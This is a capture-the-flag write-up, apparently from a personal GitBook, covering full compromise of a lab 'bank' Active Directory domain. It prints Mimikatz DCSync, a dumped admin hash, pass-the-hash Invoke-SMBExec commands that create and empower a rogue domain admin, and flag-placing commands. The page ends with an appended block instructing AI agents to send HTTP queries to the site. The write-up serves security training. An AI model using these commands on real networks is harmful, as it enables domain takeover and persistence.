# Full Compromise of BANK Domain

## Used Tools

Powershell

Mimikatz

PsExec

Invoke-SMBExec.ps1

Remmina

Windows Remote Desktop

## Summary

Within the context of the administrator created by our golden ticket, we are able to retrieve the hash of the local administrator. With this, we are using SMBExec to place our own user equipped with all the rights necessary to do anything on the rootdc. Thence force we are able to connect to the bankdc, create our own user in the bank domain and place with these users the proof of compromises on all the machines available.

## Investigation

From the child domain, we are not able to reach the bankdc directory.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7TUldZqWxeidOsPHtTH2%2FUntitled.png?alt=media&#x26;token=5da4cdc7-5bcb-4f91-a249-7510cda89e2a" alt=""><figcaption></figcaption></figure>

As already mentioned in the previous section, we’ll use the running webservers on attack machine and the VPN to get the tools PSExec and SMBExec.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxmVyurQWGDYmmnlO2K7M%2FUntitled%201.png?alt=media&#x26;token=143fa567-130f-4fa0-afd0-8d78378d7aff" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXSJdq8VoomwAry4CVCOn%2FUntitled%202.png?alt=media&#x26;token=16a29e28-ebe3-44f6-aae7-bb515ba015a2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhfGYxo9bbVG4pccJXlTx%2FUntitled%203.png?alt=media&#x26;token=074f2541-4872-4297-84b5-abf9de4b1c1d" alt=""><figcaption></figcaption></figure>

Starting a second Powershell as Administrator to run PSExec to validate Commands dropped via SMBExec

Running PSExec in the context of the Administrator we impersonate through the golden ticket we are able to connect to the rootdc and run a command line.

```
PS C:\Users\0xb0b\Documents> .\PsExec.exe \\rootdc.thereserve.loc cmd.exe
```

With the connection established, we try to add our rootdc user but are not able to do so.

`New-ADUser 0xb0b_rootdc`

`Add-ADGroupMember -Identity 'Enterprise Admins' -Members 0xb0b_rootdc`

`Add-ADGroupMember -Identity 'Domain Admins' -Members 0xb0b_rootdc`

`Set-ADAccountPassword -Identity 0xb0b_rootdc-NewPassword (ConvertTo-SecureString -AsPlainText 'WhoKnows1337Me!' -Force)`

`Enable-ADAccount -Identity '0xb0b_rootdc'`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJDIwpRPzvW1RP4foq3Rz%2FUntitled%204.png?alt=media&#x26;token=eed8d230-0b35-4f34-9ba5-45ec03b28167" alt=""><figcaption></figcaption></figure>

The next idea is to retrieve the Administrator hash we originally wanted to get in the full Compromise Parent Domain section. Now within the context of the golden ticket, we are able to retrieve the hash with already retrieved the SID in the last section.

`lsadump::dcsync /dc:rootdc.thereserve.loc /domain:thereserve.loc /user:S-1-5-21-1255581842-1300659601-3764024703-500`

Without golden ticket administrator impersonation:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPzp9rJ0U3rhhxqS1uZ7H%2FUntitled%205.png?alt=media&#x26;token=80e386db-a41e-4660-a269-a8b7595a5c89" alt=""><figcaption></figcaption></figure>

With golden ticket administrator impersonation:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkxhOp4k9RfWQ35gLCHya%2FUntitled%206.png?alt=media&#x26;token=dd44e6e7-20f2-4458-857d-6ba534acbb01" alt=""><figcaption></figcaption></figure>

And we have the Administrator hash: `58a478135a93ac3bf058a5ea0e8fdb71`

With this hash, we are able to pass the hash in running SMB-Exec to drop our commands there to add a user to the rootdc. We won’t get any feedback, but we still have PSExec running which comes in handy, because now we can check if our input is successful.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkY7tl48mlFdQCpdzrPff%2FUntitled%207.png?alt=media&#x26;token=3f025de3-024b-4ca1-816d-801306ecedbd" alt=""><figcaption></figcaption></figure>

Running `Invoke-SMBExec -Target 10.200.103.100 -Domain thereserve.loc -Username Administrator -Hash 58a478135a93ac3bf058a5ea0e8fdb71 -Command "mkdir C:\Test" -verbose` to create a directory on `C:\` drive of the rootdc.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYJZ0nRihMQnQxSTMEZW4%2FUntitled%208.png?alt=media&#x26;token=0802a7c7-61da-4277-af77-9ce676260008" alt=""><figcaption></figcaption></figure>

And we check if it is there in the PsExec session:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwZQkNi3cz1nXmGAL4xSV%2FUntitled%209.png?alt=media&#x26;token=ff2e6845-990e-466c-a471-f94a061f7b44" alt=""><figcaption></figcaption></figure>

Now we add a User to ROOTDC allows us to access BANKDC with that user equipping the user with the full portfolio of rights via adding the user to the Domain Admins and Enterprise Admins groups.

```powershell
Invoke-SMBExec -Target 10.200.103.100 -Domain thereserve.loc -Username Administrator -Hash 58a478135a93ac3bf058a5ea0e8fdb71 -Command "powershell.exe New-ADUser 0xb0b_rootdc" -verbose

Invoke-SMBExec -Target 10.200.103.100 -Domain thereserve.loc -Username Administrator -Hash 58a478135a93ac3bf058a5ea0e8fdb71 -Command "powershell.exe Add-ADGroupMember -Identity 'Enterprise Admins' -Members 0xb0b_rootdc" -verbose

Invoke-SMBExec -Target 10.200.103.100 -Domain thereserve.loc -Username Administrator -Hash 58a478135a93ac3bf058a5ea0e8fdb71 -Command "powershell.exe Add-ADGroupMember -Identity 'Domain Admins' -Members 0xb0b_rootdc" -verbose

Invoke-SMBExec -Target 10.200.103.100 -Domain thereserve.loc -Username Administrator -Hash 58a478135a93ac3bf058a5ea0e8fdb71 -Command "powershell.exe Set-ADAccountPassword -Identity 0xb0b_rootdc -NewPassword (ConvertTo-SecureString -AsPlainText 'WhoKnows1337Me!' -Force)" -verbose

Invoke-SMBExec -Target 10.200.103.100 -Domain thereserve.loc -Username Administrator -Hash 58a478135a93ac3bf058a5ea0e8fdb71 -Command "powershell.exe Enable-ADAccount -Identity '0xb0b_rootdc'" -verbose
```

Everything runs through to create the rootdc user.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7XEdrTbWRxADvSoSbpWI%2FUntitled%2010.png?alt=media&#x26;token=b62a0fa3-216e-4be3-835e-f0df07ca3d83" alt=""><figcaption></figcaption></figure>

And we have a user on rootdc.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcjLkJ5T6yQwQj3deh60n%2FUntitled%2011.png?alt=media&#x26;token=ad123b5f-fd15-40f4-9573-90458f94d9d3" alt=""><figcaption></figcaption></figure>

Checking out the correct domains via Active Directory Domains and Trusts on the child domain corpdc.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIXYvydoDFH2xH1gfoQao%2FUntitled%2012.png?alt=media&#x26;token=2dfed41f-4e80-452e-98ea-ac2123f7b4e2" alt=""><figcaption></figcaption></figure>

And from the corpdc we are able to connect to the rootdc via Windows Remote Desktop and our newly created rootdc user.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FLqzNhTptSH1BdKoS52WF%2FUntitled%2013.png?alt=media&#x26;token=ba587afe-e68f-428d-a0cf-5dbed641fc1a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4P89MHxHmIHCJLyX7Xqk%2FUntitled%2014.png?alt=media&#x26;token=a57eda72-faa9-4464-bf71-948425acb494" alt=""><figcaption></figcaption></figure>

And from the corpdc we are able to connect to the bankdc via Windows Remote Desktop and our newly created rootdc user.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FuJQJk9UTvZ7z8IHwkPg7%2FUntitled%2015.png?alt=media&#x26;token=d8770699-0857-4504-b757-ee2320692667" alt=""><figcaption></figcaption></figure>

From there we are still not able to place our proof of compromises on all the machines in the bank domain, because our rootdc user doesnt exist here. So we created another user 0xb0b on the bankdc.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqqcUrQrgnl8yudRuKTHi%2FUntitled%2016.png?alt=media&#x26;token=685acd2e-81d6-4a11-a068-d97705900e0f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F555oW6U4ovAcdf8KyxfS%2FUntitled%2017.png?alt=media&#x26;token=f8891fae-a4b0-4ae1-b222-9d9cab0b7808" alt=""><figcaption></figcaption></figure>

Next, we try to place our proof of compromises on all machines with the use of `runas` so we don’t have to use RDP for every single machine.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGyJz4JDxnah6pWCQANWi%2FUntitled%2018.png?alt=media&#x26;token=cc26b4c2-7592-4f68-83f0-f1724339fd51" alt=""><figcaption></figcaption></figure>

To not have all the time entering a password by running `runas` we just open a `cmd` as `bank/0xb0b` where `/k` doesn’t close the terminal and run our commands from there to place our proofs.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2vd6vLQiBpbXNrYKYrsL%2FUntitled%2019.png?alt=media&#x26;token=17063acd-2604-4ca0-8105-111e3f88b13b" alt=""><figcaption></figcaption></figure>

## Flag-9: Foothold on Bank Division Tier 2 Infrastructure

```
echo XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX > \\work1.bank.thereserve.loc\c$\Windows\Temp\0xb0b.txt
```

```
dir \\work1.bank.thereserve.loc\c$\Windows\Temp\0xb0b.txt
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FN96D0f9jKHK4r9UE8NJK%2FUntitled%2020.png?alt=media&#x26;token=d11c0f7f-1824-4ede-8dcc-212ffc572179" alt=""><figcaption></figcaption></figure>

## Flag-10: Administrative access to Bank Division Tier 2 Infrastructure

```
mkdir \\work1.bank.thereserve.loc\c$\Users\Administrator
```

```
echo XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX > \\work1.bank.thereserve.loc\c$\Users\Administrator\0xb0b.txt
```

```
dir \\work1.bank.thereserve.loc\c$\Users\Administrator\0xb0b.txt
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FT0jHXQ70Jdhw7C3V1NJc%2FUntitled%2021.png?alt=media&#x26;token=47f2b0f7-665b-467f-af8a-ee236c05634c" alt=""><figcaption></figcaption></figure>

## Flag-11: Foothold on Bank Division Tier 1 Infrastructure

```
echo XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX > \\jmp.bank.thereserve.loc\c$\Windows\Temp\0xb0b.txt
```

```
dir \\jmp.bank.thereserve.loc\c$\Windows\Temp\0xb0b.txt
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQCLoUlqdhjXPek9QnkEW%2FUntitled%2022.png?alt=media&#x26;token=5042b74c-e789-49bd-b62a-0fc3b249e932" alt=""><figcaption></figcaption></figure>

## Flag-12: Administrative access to Bank Division Tier 1 Infrastructure

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUZdmF3NBPs23aWagusq9%2FUntitled%2023.png?alt=media&#x26;token=0717dece-0894-47da-b395-242ab942b1a9" alt=""><figcaption></figcaption></figure>

```
mkdir \\jmp.bank.thereserve.loc\c$\Users\Administrator
```

```
echo XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX > \\jmp.bank.thereserve.loc\c$\Users\Administrator\0xb0b.txt
```

```
dir \\jmp.bank.thereserve.loc\c$\Users\Administrator\0xb0b.txt
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGWPXkpg7WnKgx2o2NBB5%2FUntitled%2024.png?alt=media&#x26;token=47f3f633-9222-4531-b667-d86e556a2326" alt=""><figcaption></figcaption></figure>

## Flag-13: Foothold on Bank Division Tier 0 Infrastructure

```
echo XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX > C:\Windows\Temp\0xb0b.txt
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FV704qE1OdWN9GpNJGgkW%2FUntitled%2025.png?alt=media&#x26;token=ed488407-bff8-41a6-abb8-19dbfaa512dd" alt=""><figcaption></figcaption></figure>

## Flag-14: Administrative access to Bank Division Tier 0 Infrastructure

```
echo XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX > C:\Users\Administrator\0xb0b.txt
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcCpV4Bglr3SIIrnpUhXD%2FUntitled%2026.png?alt=media&#x26;token=d285c783-340b-4cdd-856c-8ac998ba4b29" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/red-team-capstone-challenge/full-compromise-of-bank-domain.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
